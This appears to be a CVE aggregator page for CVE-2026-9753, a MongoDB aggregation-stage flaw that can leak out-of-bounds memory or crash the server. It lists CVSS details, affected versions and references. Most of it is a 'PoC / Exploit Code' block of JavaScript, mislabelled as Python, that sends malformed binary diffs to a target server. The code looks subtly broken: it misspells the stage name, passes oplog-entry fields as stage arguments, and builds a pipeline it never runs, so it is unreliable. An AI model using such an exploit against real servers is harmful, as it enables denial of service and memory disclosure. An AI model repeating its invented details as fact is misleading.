CVE-2026-9753

Description

The $_internalApplyOplogUpdate aggregation pipeline stage can be used to execute a document diff containing a malformed binary diff to return memory out-of-bounds or crash the server. $_internalApplyOplogUpdate can be executed by any authenticated user with access to the aggregate command.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

No configuration data available.

MongoDB Server < 7.0.14

MongoDB Server 7.1.x < 7.1.8

MongoDB Server 7.2.x < 7.2.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-9753 PoC - MongoDB $_internalApplyOplogUpdate Memory Out-of-Bounds
// Requires authenticated user with aggregate command access

const { MongoClient } = require('mongodb');

async function exploitCVE20269753() {
  const url = 'mongodb://target:27017';
  const client = new MongoClient(url, { authSource: 'admin' });
  
  try {
    await client.connect();
    const db = client.db('test');
    
    // Construct malicious aggregation pipeline with malformed binary diff
    // This triggers $_internalApplyOplogUpdate out-of-bounds access
    const maliciousPipeline = [
      { $match: { _id: 'target_doc' } },
      { $group: {
        _id: null,
        data: { $push: '$$ROOT' }
      }},
      { $project: {
        _id: 0,
        payload: {
          $function: {
            body: function() {
              // Malformed binary diff triggers OOB access
              return db.adminCommand({
                aggregate: 1,
                pipeline: [{ $internalApplyOplogUpdate: { 
                  op: 'u',
                  ns: 'test.coll',
                  o: Buffer.from('malformed_binary_diff_data'),
                  o2: { _id: 'target' }
                }}],
                cursor: {}
              });
            },
            args: [],
            lang: 'js'
          }
        }
      }}
    ];
    
    // Alternative: Direct trigger via aggregate command
    const exploitResult = await db.command({
      aggregate: 'collection',
      pipeline: [
        { $internalApplyOplogUpdate: {
          op: 'u',
          ns: 'test.coll',
          o: Buffer.from([0xFF, 0xFE, 0x00, 0x00, 0xAB, 0xCD]),
          o2: { _id: 'vulnerable_doc' }
        }}
      ],
      cursor: {}
    });
    
    console.log('Exploit attempted');
    console.log('Result:', exploitResult);
    
  } catch (error) {
    console.error('Error during exploitation:', error.message);
  } finally {
    await client.close();
  }
}

exploitCVE20269753();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9753
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9753
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9753/
[4] VulDB https://vuldb.com/cve/CVE-2026-9753
[5] https://jira.mongodb.org/browse/SERVER-124959

Raw JSON Data

JSON

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